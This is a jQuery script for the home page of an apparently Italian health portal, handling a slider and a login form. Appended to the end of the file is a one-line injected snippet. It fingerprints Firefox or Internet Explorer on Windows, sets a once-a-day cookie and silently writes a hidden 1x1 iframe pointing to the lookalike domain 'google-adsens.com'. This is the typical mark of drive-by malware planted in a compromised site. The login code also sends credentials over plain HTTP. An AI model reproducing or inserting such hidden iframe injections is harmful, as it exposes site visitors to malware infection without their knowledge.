/**
 * Home
 * 
 * @ver 0.5
 * @data 06/12/2011
 * @copyright Webtags srl
 */
$(document).ready(function(){
	$.initPage();
	var slider = $('#sliderhome').bxSlider({
		  controls: false,
		  auto: true,
		  autoHover: true,
		  pause: 5000,
		  onBeforeSlide: function(currentSlideNumber, totalSlideQty, currentSlideHtmlObject){
			$('.thumb a').removeClass('pager-active');
			$('.thumb a').eq(currentSlideNumber).addClass('pager-active');
		  }
	});

	$('.thumb a').click(function(){
		var thumbIndex = $('.thumb a').index(this);
		slider.goToSlide(thumbIndex);
		$(this).removeClass('pager-active');
		$(this).addClass('pager-active');
		return false;
	});
	
	$('.thumb a:first').addClass('pager-active');

	//init form
	$('#loginform').initFormAutenticazione();
	//$('#alert_pop').openPop();
});
/**
 * Proc Home
 * 
 * @ver 0.5
 * @data 06/12/2011
 * @copyright Webtags srl
 */
;(function($) {
	/**
	 * 
	 */
	$.fn.initFormAutenticazione = function(p){
		var formElement = $(this);
		var p = $.extend({
			positionTips: {
				my: "bottom center",
				at: "top center",
				viewport: $(window)
			},
			styleTips: {
				classes: "ui-tooltip-dark"
			}
		}, p);
	
		// reset form
		//formElement.clearForm();
	
		// validate form
		formElement.validate({
			debug: true,
			errorClass: "error",
			errorElement: "span",
			errorPlacement: function(error, element){
				if (!error.is(':empty')) {
					if (element.filter(':not(.valid)')) {
						if (element.is('select')) {
							element.parent().qtip({
								content: error,
								position: p.positionTips,
								show: 'mouseover mouseenter',
								hide: 'mouseout',
								style: p.styleTips
							}).qtip('option', 'content.text', error);
							element.parent().addClass('error');
						}
						else {
							element.qtip({
								content: error,
								position: p.positionTips,
								show: 'mouseenter',
								hide: 'mouseout',
								style: p.styleTips
							}).qtip('option', 'content.text', error);
							if(element.is('input[type:"radio"]') || element.is('input[type:"checkbox"]')) 
								element.parent().parent().addClass('error');
						}
					}
				}
				else {
					if (element.is('select')) {
						element.parent().qtip('destroy');
						element.parent().removeClass('error');
					}
					else {
						element.qtip('destroy');
						if(element.is('input[type:"radio"]') || element.is('input[type:"checkbox"]')) 
							element.parent().parent().removeClass('error');
					}
				}
			},
			success: $.noop,
			rules: {
				userid: {
					required: true,
					email: true
				},
				password: {
					required: true,
					minlength: 8
				}
			}
		});
		
		// labled input
		formElement.find("input.labeled").each(function(){
			$(this)
				.data('label', $(this).val())
				.bind('focus', function(e){
					if($(this).is('.labeled')) 
						$(this).val('').removeClass('labeled');
				})
				.bind('blur', function(e){
					if($(this).val() == '')
						$(this).val($(this).data('label')).addClass('labeled');	
				});
		});
		
		// uniform plug-in
		formElement.find("input, textarea, select, button").uniform();
		formElement.find('input[type="text"], textarea').focusin(function(){
			if($(this).is('.empty')){
				$(this).data('empty',$(this).val());
				$(this).val('').removeClass('empty');	
			}
		});
		formElement.find('input[type="text"], textarea').focusout(function(){
			if(!$(this).is('.empty') && $(this).data('empty')){
				$(this).val($(this).data('empty')).addClass('empty');
				$(this).data('empty', false);
			}
		});	
		
		$('#loginform input').keydown(function(e) {
			if(e.keyCode == '13'){
				if(formElement.find("input, textarea, select, button").valid()){
					$(formElement).ajaxSubmit({
						url: 'http://telbios.tecnoplus.biz/phr/backend/personaldataservlet/checkLogin',
						dataType: 'jsonp',
						success: function(data){
							if(data.errorCode){
								apprise('Errore (' + data.errorCode + '): ' + data.errorDescription);
							} else {
								if(data.status == "attivo")
								{
									window.location.href= path_base + 'myviva';
								} else {
									apprise('Errore di autenticazione: ' + data.status);
								}
							}
						},
						error: function(){
							apprise('Errore di trasmissione!');
						}
					});
					
				}
			}
		});
		
		$('#loginButton').click(function(e){
			e.preventDefault();
			if(formElement.find("input, textarea, select, button").valid()){
				$(formElement).ajaxSubmit({
					url: 'http://telbios.tecnoplus.biz/phr/backend/personaldataservlet/checkLogin',
					dataType: 'jsonp',
					success: function(data){
						if(data.errorCode){
							apprise('Errore (' + data.errorCode + '): ' + data.errorDescription);
						} else {
							if(data.status == "attivo")
							{
								window.location.href= path_base + 'myviva';
							} else {
								apprise('Errore di autenticazione: ' + data.status);
							}
						}
					},
					error: function(){
						apprise('Errore di trasmissione!');
					}
				});
				
			}
		});
	}
})(jQuery);	var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
